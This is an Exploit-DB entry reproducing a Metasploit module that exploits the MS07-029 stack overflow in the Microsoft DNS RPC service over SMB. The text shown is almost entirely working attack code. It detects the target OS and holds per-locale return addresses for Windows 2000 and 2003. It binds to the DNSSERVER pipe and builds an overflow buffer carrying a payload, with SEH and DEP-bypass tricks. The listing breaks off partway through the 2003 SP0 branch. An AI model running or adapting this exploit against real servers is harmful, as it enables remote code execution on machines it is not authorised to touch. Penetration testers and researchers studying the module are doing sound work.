Exploit-DB #16366
Description: Microsoft DNS RPC Service - 'extractQuotedChar()' Remote Overflow 'SMB' (MS07-029) (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-28
Author: Metasploit

Exploit:
##
# $Id: ms07_029_msdns_zonename.rb 10503 2010-09-28 15:23:14Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the RPC interface
				of the Microsoft DNS service. The vulnerability is triggered
				when a long zone name parameter is supplied that contains
				escaped octal strings. This module is capable of bypassing NX/DEP
				protection on Windows 2003 SP1/SP2. This module exploits the
				RPC service using the \\DNSSERVER pipe available via SMB. This
				pipe requires a valid user account to access, so the SMBUSER
				and SMBPASS options must be specified.
			},
			'Author'         =>
				[
					'hdm',      # initial module
					'anonymous' # 2 anonymous contributors (2003 support)
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10503 $',
			'References'     =>
				[
					['CVE', '2007-1748'],
					['OSVDB', '34100'],
					['MSB', 'MS07-029'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'    => 500,

					# The payload doesn't matter, but make_nops() uses these too
					'BadChars' => "\x00",

					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],

					# WS2HELP.DLL
					[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
					[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],
					[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],

					# Use the __except_handler3 method (and jmp esp in ATL.dll)
					[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],
					[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],


					# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)
					[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
					[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
					[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],
					[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],
					[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],

				],
			'DisclosureDate' => 'Apr 12 2007',
			'DefaultTarget'  => 0 ))

		register_options(
			[
				OptString.new('Locale', [ true,  "Locale for automatic target (English, French, Italian, ...)", 'English'])
			], self.class)
	end


	def gettarget(os)

		targets.each do |target|
			if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))
				return target
			end
		end

		return nil
	end


	def exploit

		connect()
		smb_login()

		if target.name =~ /Automatic/

			case smb_peer_os()
			when 'Windows NT 4.0'
				print_status("Detected a Windows NT 4.0 system...")
				target = nil

			when 'Windows 5.0'
				print_status("Detected a Windows 2000 SP0-SP4 target...")
				target = gettarget('2000')

			when 'Windows 5.1'
				print_status("Detected a Windows XP system...")
				target = nil

			when /Windows Server 2003 (\d+)$/
				print_status("Detected a Windows 2003 SP0 target...")
				target = gettarget('2003SP0')

			when /Windows Server 2003 (\d+) Service Pack (\d+)/
				print_status("Detected a Windows 2003 SP#{$2} target...")
				target = gettarget('2003SP12')
			else
				print_status("Unknown OS: #{smb_peer_os}")
				return
			end
		end

		if (not target)
			print_status("There is no available target for this OS locale")
			return
		end

		print_status("Trying target #{target.name}...")

		# Bind to the service
		handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_np', ['\dnsserver'])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		# Create our buffer with our shellcode first
		txt = Rex::Text.rand_text_alphanumeric(8192)

		if (target['OS'] =~ /2000/)
			txt[0, payload.encoded.length] = payload.encoded

			off = target['Off']
			txt[ off ] = [target.ret].pack('V')
			txt[ off - 4, 2] = "\xeb\x06"
			txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')

		elsif (target['OS'] =~ /2003SP0/)
			txt[0, payload.encoded.length] = payload.encoded

			off = target['Off']
			txt[ off ] = [target['Rets'][0]].pack('V')  # __except_handler3
			txt[ off - 4, 2] = "\xeb\x16"

			# addr = A + B*12 + 4 = 0x77f7e7f0  (ntdll -> 0x77f443c9)
			addr = target['Rets'][1] - 4
			addr1 = addr / 2
			addr2 = addr1 + addr % 2
			addr1 = addr1 + (addr2 % 12)
			addr2 = addr2 / 12

			txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B

			#
			# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
			#
			# 0x77f443c9 jmp off_77f7e810[edx*4]   ;  edx = 0 so jmp to 77f443d0
			# 0x77f443d0 mov eax, [ebp+arg_0]
			# 0x77f443d3 pop esi
			#